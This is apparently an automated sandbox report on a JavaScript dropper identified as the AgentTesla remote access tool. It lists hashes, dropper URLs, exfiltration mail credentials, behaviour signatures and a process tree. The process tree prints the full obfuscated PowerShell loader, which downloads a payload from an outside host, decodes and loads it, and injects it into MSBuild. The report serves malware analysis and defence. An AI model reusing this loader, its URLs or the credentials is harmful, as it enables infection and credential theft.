Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 00:07

General

  • Target

    PO24090026.js

  • Size

    75KB

  • MD5

    2e461076f6618e8f34ac4ada5bcc55fd

  • SHA1

    343a6c8b272ee7c261c9a3fb1eda91f769cc18ed

  • SHA256

    943869c0fd11cfbfdbf3ba902377e1470be12c94a9f2d49c952a14a9700552b0

  • SHA512

    c4d0fc5f78321824c32493491cf0e29bb50a24294eb08e6934d206e4adeaa1aa1f7ddc2f443fe5e4ba9bb8d534443af61e9bdb8578573c66ab2f2b754d599985

  • SSDEEP

    1536:8Z4xzQ6VsYE/D5OK1hoFPqd50a+X7psEBCCB29f+JrdWXOUPmMcA9KBwbBs:8SzQ6Vo/9RzY

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO24090026.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$parkinson = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$paunches = New-Object System.Net.WebClient;$hebiter = $paunches.DownloadData($parkinson);$tsarevichi = [System.Text.Encoding]::UTF8.GetString($hebiter);$shilpit = '<<BASE64_START>>';$riotise = '<<BASE64_END>>';$percylite = $tsarevichi.IndexOf($shilpit);$marbleization = $tsarevichi.IndexOf($riotise);$percylite -ge 0 -and $marbleization -gt $percylite;$percylite += $shilpit.Length;$Rybnik = $marbleization - $percylite;$overbill = $tsarevichi.Substring($percylite, $Rybnik);$unvaccinated = -join ($overbill.ToCharArray() | ForEach-Object { $_ })[-1..-($overbill.Length)];$autosave = [System.Convert]::FromBase64String($unvaccinated);$chemotropism = [System.Reflection.Assembly]::Load($autosave);$queef = [dnlib.IO.Home].GetMethod('VAI');$queef.Invoke($null, @('txt.tirb/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', '$punkling', '$punkling', '$punkling', 'MSBuild', '$punkling', '$punkling','$punkling','$punkling','$punkling','$punkling','$punkling','1','$punkling','TaskName'));"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:1712
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1964

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ctncor0.ecf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1964-18-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1964-27-0x00000000069B0000-0x00000000069BA000-memory.dmp

      Filesize

      40KB

    • memory/1964-26-0x00000000069E0000-0x0000000006A72000-memory.dmp

      Filesize

      584KB

    • memory/1964-25-0x00000000067A0000-0x000000000683C000-memory.dmp

      Filesize

      624KB

    • memory/1964-24-0x00000000066B0000-0x0000000006700000-memory.dmp

      Filesize

      320KB

    • memory/1964-23-0x00000000054F0000-0x0000000005556000-memory.dmp

      Filesize

      408KB

    • memory/1964-22-0x00000000058B0000-0x0000000005E54000-memory.dmp

      Filesize

      5.6MB

    • memory/2676-13-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

      Filesize

      10.8MB

    • memory/2676-17-0x0000013AC8470000-0x0000013AC861A000-memory.dmp

      Filesize

      1.7MB

    • memory/2676-21-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

      Filesize

      10.8MB

    • memory/2676-16-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

      Filesize

      10.8MB

    • memory/2676-15-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

      Filesize

      10.8MB

    • memory/2676-14-0x00007FFBB2EA3000-0x00007FFBB2EA5000-memory.dmp

      Filesize

      8KB

    • memory/2676-1-0x00007FFBB2EA3000-0x00007FFBB2EA5000-memory.dmp

      Filesize

      8KB

    • memory/2676-12-0x00007FFBB2EA0000-0x00007FFBB3961000-memory.dmp

      Filesize

      10.8MB

    • memory/2676-2-0x0000013A87A10000-0x0000013A87A32000-memory.dmp

      Filesize

      136KB